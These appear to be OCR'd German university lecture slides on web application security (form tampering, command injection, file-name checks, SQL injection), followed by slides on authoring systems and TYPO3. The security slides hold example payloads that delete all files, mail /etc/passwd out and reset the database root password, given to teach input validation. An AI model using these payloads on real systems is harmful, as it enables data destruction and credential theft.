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13. Sicherheit

Uberblick _
Client Internet Server
7 /
Webbrowser CGlI-Programm
HTML Seite
(Eingabe- | 1. Eingabedaten Daten 2. CGI-Programm
Formular) Ubermitteln starten
HTML Sslte 4. Eingabedaten | HTML Seite 3. erzeugte
(Ausgabe) ubermitteln HTML-Seite
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" A
13. Sicherheit Mame

Datentbertragung mit GET Hahr

Text:
hlakhla

. [_absenden | mit GET
<form action="21 FormularEcho.php" method="get">

<p>Name:<br><input maxlength="40" size="40" name="Name" ></p>
<p>Text:<br><textarea name="Text" rows="2" cols="40"></textarea>/p>
<pr><input type="submit" value="absenden"> mit GET</p>

</ form>

B Ubertragt die Daten fir jeden sichtbar als URL:
http://localhost/xxx.php?Name=Hahn&Text=blabla

B Parameter und Werte kdnnen ohne jegliche Tools verandert werden
= unerwartete Parameter
= unerwartete Werte
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" A
13. Sicherheit Narme:

Datentbertragung mit POST Hahn

Text:
Elakla

[ absenden )it POST

<form action="21_ FormularEcho.php" method="post">
<p>Name:<br><input maxlength="40" size="40" name="Name" value="c">I/p>
<p>Text:<br><textarea name="Text" rows="2" cols="40">d</textarea></p>
<p><input type="submit" value="absenden"> mit POST</p>

</ form>

B Parameter werden in Umgebungsvariablen tGbertragen
B Formularfelder sind Gber den HTML-Code zuganglich
B Mit etwas HTML-Kenntnissen kdnnen beliebige Werte und auch neue

Parameter tbertragen werden
= unerwartete Parameter

= unherwartete Werte
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13. Sicherheit

Daten aus Formularen

jeden Parameter
strengstens kontrollieren !

B die Parameter mussen nicht im entferntesten dem erwarteten Format

entsprechen !
= vielleicht hat sie ein Hacker von Hand gemacht...
= ein erwarteter Parameter fehlt

= ein Parameter-Name enthalt Sonderzeichen

B folgende Annahmen sind alle falsch:
= der QUERY_STRING passt in den Speicher
= der QUERY_STRING erfillt die HTTP-Spezifikation
= QUERY_STRING-Felder entsprechen dem Formular
= der Wert einer Auswabhlliste ist einer der Listeneintrage
= ein Eingabefeld sendet maximal so viele Zeichen,

wie in maxlength festgelegt
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" A
13. Sicherheit
Angriffe allgemein

B Es gibt viele Installationen mit Standardkonfiguration

(Webserver, Datenbank, CGlI, PHP,... vgl. XAMPP)
= Default-Passwarter sind bekannt
= installierte Skripte sind teilweise bekannt
= Quellcode ist verfligbar
= Sicherheitslicken kdnnen gesucht und erprobt werden

H Ziele:
= Ausfuhren von Befehlen

= Auslesen von Daten f
= Transaktionen unter fremden Namen

= Lahmlegen eines Internetauftritts
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" A
13. Sicherheit
Angriffe auf den Webserver

B Auslesen von Daten auf dem Server
= Geheime Daten

= Passworter (.passwd)
= ...

B Lahmlegen des Servers

= z.B. durch Uberlastung mit Requests ("Denial of Service Attack")
= Loschen von Dateien

gewissenhaft und restriktiv
konfigurieren!
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" A
13. Sicherheit
Systemaufrufe in CGI-Skripten

B grol3e Gefahr durch Ausfiihrung von Systembefehlen (oder maoglichst
vermeiden !

anderen Programmen) mit Parametern aus einem Formular

= durch unerwinschte Befehle innerhalb des Parameters
= Unix-Befehl mit ; als 2. Befehl angehangt:
Jjames; rm —rf /
statt Benutzername (fir Tinger) werden alle Dateien geléscht
= mit | eine Pipe mit weiterem Unix-Befehl gebildet:
nospam@fasel .com|mail bla@fasel.com < /Zetc/passwd
statt eMail-Adresse versendet die Passwortdatei
= mit ~ beginnende Zeilen werden im Programm mail an das Betriebssystem
weitergeleitet: ~1rm —rf /

alle Parameter, die an unumganglichen
Systemaufrufen beteiligt sind,
besonders sorgféltig kontrollieren!

hda

”IHH[ HOCHSCHULE DARMSTADT
gl B Entwicklung webbasierter Anwendungen
i

iy © Ralf Hahn, SS 2006, h_da - Fachbereich Informatik 299

|



" A
13. Sicherheit
Dateinamen

B Manipulierte Dateinamen kénnen
= versteckte Systemaufrufe enthalten
= andere Dateien liefern bzw. abrufen als beabsichtigt - und diese Dateien
werden ausgefthrt...

B Dateinamen aus Formularen, PATH_INFO und anderen Quellen sind

verdachtig
= auch Dateinamen, die aus solchen Bestandteilen gebildet werden

= evtl. im Server gegen eine Liste von erlaubten Dateinamen prufen
B fest im Skript codierte Dateinamen sind unproblematisch

B in Dateinamen keine .. und keine shell-Steuerzeichen zulassen

= in Dateinamen nur a..z, A..Z, 0..9, -, _ zulassen
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'_
13. Sicherheit

Angriff auf die Datenbank: "SQL Injection”

B Folgender PHP-Code:
$offset = argv[0]; 7/ Offset als Command Line Parameter

$query = "SELECT id, name FROM products ORDER BY name

LIMIT 20 OFFSET $offset;'; keine Validierung des Input !

$result = mysql _query($query);

B Statt einem normalen Offset flr das "Sichtfenster" der Anfrage wird ein
bosartiger Code eingegeben:

0O;

UPDATE user SET Password=PASSWORD("crack®") WHERE user="root";

FLUSH PRIVILEGES;

keine Beschrankung tiber DB-Berechtigungen!?

= 0; beendet die erste SQL-Query
= dann wird das UPDATE ausgefihrt...
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13. Sicherheit

) thalt
Zugriffsschutz ,\(,T;SSL_
Passwort
PHP-
Dateien
STML' _.htaccess
~
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MySQL- |, UNIX: mysq|
> <
S Front
f) ————— UNIX
=
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" A
14. Autorensysteme

Professionelle Projekte

B Anwendungen

=

4 & 4 0 1

Computer Based Training (CBT)
Web-Auftritte

Werbe-CDs

Computerspiele

Trailer

Systeme mit User Interaktion: z.B. Navigationssysteme

= ...

B Gangige Praxis in komplexeren Projekten

=
=
=
=
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Autoren schreiben Storyboard und liefern Inhalte
Designer gestalten graphische Elemente
Programmierer implementieren kompliziertere Ablaufe

Rapid Prototyping mit "Autorensystem”, Produkt in Java/ C / C++
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" A
14. Autorensysteme

Begriff "Autorensystem"

B Autoren
= konzentrieren sich auf die Inhalte, nicht auf die Realisierung

= haben in der Regel keine Programmierkenntnisse

B Autorensystem

= Anwendungs-Entwicklungsumgebung flr Autoren
einfache Anwendungen ohne Programmierung
Erweiterte Funktionalitat nur fur "Power-User"
Tool macht die Umsetzung in Programmcode

spezielle Produkte fiir verschiedene Anwendungen

4 4 0 U

groRe Uberlappung der Produkte
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" A
14. Autorensysteme

Beispiele flr Autorensysteme

die Produktpalette z.B. von

| / Macromedia lasst sich aus

Nach Hauptausrichtung: technischer Sicht nur sehr
B \Web-Autorensysteme schwer separieren

= Frontpage, Office Publisher, Typo3, Dreamweaver, Adobe GolLive

B E-Learning

= Macromedia Authorware, Sumtotal Toolbook
B Multimedia-CDs

= Macromedia Director MX
B Marketing und Vertrieb

= Macromedia Breeze
B Fast Prototyping & Tutorials

= Macromedia Captivate (ehem. RoboDemo)
B Kommunikation

= Macromedia Roboinfo
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" A
14. Autorensysteme

Alles aus einer Hand

Autorensysteme Web-Technologie

Entwicklungsumgebung

Director, ToolBook, Flash HTMLEdit, GoLive, FrontPage

Dateiformat / "Standard"

swf, dcr, tbk html, |s, css

Laufzeitsystem / Player

Flash Player, Shockwave, ToolBook Internet Explorer, Netscape
Runtime Navigator

Kompatibilitatsprobleme

2

y gering / keine sind normal @I
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" A
14. Autorensysteme

Basis-Metaphern

B Buch aus Seiten statische Darstellung

= Sumtotal ToolBook

= Macromedia Freehand

B Film aus Filmbildern dynamischer Ablauf ’
= Macromedia Flash und Director )\‘/

B Flussdiagramm organisiert Seiten S
L B eeruies Eohatahe
= Macromedia Authorware (speziell fir CBT) | 'i—
= Spezielle Vorlagen je nach Anwendung =7
LIT]

B Erweiterungen gegenuber klassischen Medien
= weitergehende Interaktionsmoglichkeiten, Hyperlinks

= eingebettete multimediale Elemente, Webintegration
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" A
14. Autorensysteme

SumTotal ToolBook Instructor
\

vormals Asymetrix bzw. Click2Learn

ToolBook
Instructor

B historischer Werdegang
= ursprunglich als komfortable Anwendungs-
Entwicklungsumgebung ftr GUI gedacht
= spater zum Multimedia-Autorensystem ausgebaut
= zielt mittlerweile priméar auf CBT-Anwendungen

(spezialisierte Schablonen, Kursverwaltung)

B nur verflgbar far Windows

= Haupt-Hindernis fur Erfolg: Designer arbeiten halt am Mac ...
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" A
14. Autorensysteme

Macromedia Director

B marktfihrendes Autorensystem flir CD-ROM
= flrs Web optimiert als "Shockwave"
= Einbindung von Director-Filmen in HTML-Seiten

= Netzfunktionen in CD-ROM basierender Anwendung

_—~"| wichtig fur Designer
B verfugbar fur MacOS und Windows

= fertige Anwendung plattformunabhangig (aber nicht Unix)

= ToolBook dagegen nur fur Windows

B schnelles und kompaktes Laufzeitsystem
= schnelle Seitenumschaltung, flissige Animationen

= geringe Dateigrol3e
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14. Autorensysteme

Ly TYPO3
TYPO3 . eanisnt slghi
B Open Source Content Management System
= kostenlos

= zunehmende Verbreitung
= EinflUhrung an der h_da im Juni 2005

B verfagbar fur Unix, Linux, MacOS und Windows
= benotigt Apache oder IIS, PHP, MySQL (andere Datenbanken als Erweiterung)

B Bearbeitungsmodi:

= Frontend: rein Inhaltliche Anderung von bestehenden Seiten
= Backend: Anderungen an der Vernetzungsstruktur der Seiten

= Frontend und Backend Uber Standard-Browser zuganglich
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4. Autorensysteme

TYPO3: Frontend

Informationen zur Person

l Aufgabe Lehre

Fachgebiete Grundlagen der Informatik, Software-Enginesting, Software-Produktlinien

Telefon +49 (5151) 16-8424
Fax +49 (5151) 16-8935
E-Mail siehie unten

Biiro O 14, Raum 1.08

Sprechzeiten Mittwoch 16:00 - 16:45, hitte Termin vereinharen

ruft Editor fur dieses
Element auf
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4. Autorensysteme

TYPO3: Frontend II; Editor

< TYPO3

gel.confant.eighl

J http:ll - TYPO3 Edit Document - Mozilla Firefox |- |O|X]

] e ] x| @] 2] % | [rein Titel] v @) [Meni] v

Pfad: /FHD Fachbereich.../Crganization/Personen/Hahn, Ralff

==

DEF

|Lehre

|Grund|agen der Infarmatik, Software-Engineering, Software-Produktlinien

|
| .
+49 (6151) 16-3424 | / EmgabemaSke
|
|

gibt Standard-
elemente vor

+49 (6151) 16-8335

@

|D 14, Raurn 1.08 |

|I'~'1ittw-:u:h 16:00 - 16:45, bitte Termin vereinbaren |
[ |

|rhahn_picture_02.jpg Lﬂlﬁj -

GIF PHG JPG JPES

@rhahn_picture_tl?.jpg.

~

Bild zuerst als
[ Durchzuchen. .. ] Upload ZUr

| e | x| ] wm Verfligung stellen

| |Eweite Cptionspalette anzeigen
| |[Feldbeschreibung anzeigen
|_|schalte Rich Text Editar (RTE] ab
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14. Autorensysteme

. TYPQO3: Backend TYPO 3

&% web
B seite TYPO32 3.7.0

@, Anzeigen Web Content Management System

E¥! Funktionan

=3 Datei TTPO:BWPOB CMS wer, 2.7.0, Copyright © 1992-2004 Kasper Skarhgj, Extenszions are copyright of

their respective awners, Go to hitp:/ftepo3, comy for details, TYPO2 comes with ARSOLUTELY

D ateiliste MO WARRANTY; click for details, This iz free software, and vou are welcorne to redistribute it under cartain
conditions; click for details. Obstructing the appearance of thiz notice iz prohibited by law,

™ Benuizer

4 Einzt. Diesz ist eine kurze Beaschreibung der varhandenen Maodule:

Hilfe &y Web

M

':'a'-'db"“:h B zeite Seiten erstellen und bearbeiten

Uber Maodule Dieses Modul ermdglicht Ihnen, Seiten zu erstellen und zu bearbeiten, Zuszatzlich bietet

i Uber TYPO3 es einen Assistenten zur Auswahl einer Varlage und Verwaltung von verschiedenen
Ubersetzungen einer Seite, Dieses Seiten-Modul ist Bestandteil der Erweitarung

vHandbuch " Ton
Templavoila

Q Anzeigen Seite anzeigen

Zeigt die aktuelle Seite an und l&dzst Sie den Inhalt direkt bearbeiten.
FH Funktionen Erseiterte Funktonen
Dieses Modul enthilt allgermeine Export- und Immportfunktionen, Zusatzlich enthalt
[I-HH] dieses Modul spezielle Funktionen [Aszzistenten), welche automatisiert Seiten angelegen
und urnsortieren k&nnen.

2 Datei

Cateiliste Anzeige von Dateien im Ordner
Dies ist das Dateiverwaltungssystern von TYPO3, Es erlaubt den Zugriff auf die fir Ihren

Login gultigen Dateifreigaben. Mit diezern Modul kénnen Sie Dateien auf dem Server
hochladen, kopieren, verschieben und léschen,

™ Benutzer
& Einzt. Einstellungen
Dieses Modul dient zur Einstellung Ihres Backend Benutzerprofilz, Hier kdnnen Sie Ihren
Marnen, Ihre Ernail Adresse, die benutzte Backend Sprache und viele andere allgermeine
Eigenschaften des Systerns fir Ihren Benutzer einstellan,
Hilfa
h_da
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14. Autorensysteme

TYPOS3: Backend Il

- TYPO3
4% Web [=- D Hahn, Ralf D {4 Hahn, Ralf
B seite E| D Lehreeranstaltungen 55 2005
Q AanigEl‘l i S arvatackhmil T fD.:anlﬁl:i'?‘E LDCEIIZEtIDI‘I I ]
; Ansehen
E&' Funktionen Bearbeiten e EESEEE:TEITE
g Datei :'J Ansich Heu H HE::I Snl:r;ltsbereich
Dateiliste Info 5| Ir"'P ''''''''''''''''''''''''''''''''''''''''''''''' '::
- E I . "
3 Benutzer e &
i 0 E Az i
[4 Einst. weitere Einstellungen.., ' ;E-Fg e EER X ET A i
- Aushbland | [Autgabe Lehre o
Hilfe S!'I;tbenke:: ristell g ! [Fachgebiete Srundlagen der Informatik, Software-Engineering, i
M Handbuch Ic a.r el STE”-'S =liungen ! [aftware-Produktlinien a
iTher Madule Bearbeite Seiten-Header ?i ' Melefon +4% (6151) 16-8424 o
O Ober TvPo3 Léschen m 'IFax +49 (6151) 16-8935 n
! [Email-Link Text ziehe unten a
W Handbuch ' [Email-Link URL o
'|Biro O 14, Raurn 1,08 "
! Sprechzeiteri Mittwoch 16:00 - 16:45, bitte Termin versinbaren i
I !
[1-HH] Vernetzungsstruktur|| | ;
. ' [Foto A h
der Seiten | :
i i
I= ey vl
| [Text: i
i i
| [E=lLehrveranstaltungen EEE AEETR
: ext: Lehrveranstaltungen o
'L ___________________________________________________________________ i
What iz the TemplaWoila Page module? D Show hidden elements
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4. Autorensysteme

TYPO3: Ergebnis

< TYPO3

gel.contant.dighi

automatisch erzeugt

integrierte
Suchmaschine

A,

Pf. RaHahn

2 hl:uereu'.h Informatik | Crganisation [ Personen [ Hahn, Ralf | Lebrveranstaltungen im 55 2006
[BE® Im SS 2006 biete ich folgende Lehrveranstaltungen an:

Lehrveranstaltungen im

* 55 2005
m Softwaretechnik 1 Softwaretechnik I
m Entwicklung webbasierter Anwendungen )
== ® Praxisprojekt 1T (KoSIS) Entwicklung
Mavigation webbasierker
. D arisakion lebote Akkualisi TR T Gt . Anwendungen I
Dg Sy [letzte Aktuslisierung: 15.02:2006] - [Verantworkurg: ] e
Erana

Frilhere i
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